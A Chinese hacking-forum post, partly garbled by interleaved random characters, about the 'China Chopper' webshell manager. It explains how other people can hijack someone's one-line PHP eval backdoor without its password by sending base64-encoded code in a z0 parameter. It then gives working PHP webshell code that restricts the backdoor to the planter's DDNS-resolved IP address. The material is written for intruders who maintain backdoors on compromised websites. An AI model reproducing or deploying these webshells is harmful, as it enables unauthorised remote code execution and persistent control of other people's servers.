今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
7 j, ]! H. m1 L7 @4 N1 D# v* T" K7 c+ E4 b& u
就算你设置了密码,使用了eval($_REQUEST['moyo']);
5 [: k. |0 Q0 |9 x, V* s3 O! J" v3 E/ i* v" f
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
+ d6 i7 j' K0 u8 R. p4 h. e, N- t+ _8 ]2 r/ o9 V
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
% X+ y7 }3 ~" e& h+ `+ e9 i, Y6 t, x+ b, T2 `
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了
% K+ b5 r% l& J9 i6 Q0 y) v. l5 [0 R
不知道是设计缺陷还是故意留的后门5 U# f7 M8 Z3 g8 I0 c. A
4 z/ _' q W" t) B1 ~
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用 D0 j) f, h' C* Z' J/ p( [8 g
( X; r8 X( k6 V7 ^. p Y+ s本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org8 P& t2 V' \6 r, I
. s$ P, i! V# ~, U+ G( G; v然后一句话后门这样写( S, A- p; h7 W7 w# b. q
% T' M7 ^) s8 m: Z: p
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
5 |' P2 B% P0 Q; |: ^这样就可以让一句话后门只允许自己的电脑连接了) A ~( k" m- U! H0 o' j9 r" ^
: h- z* b, |$ U0 O5 i |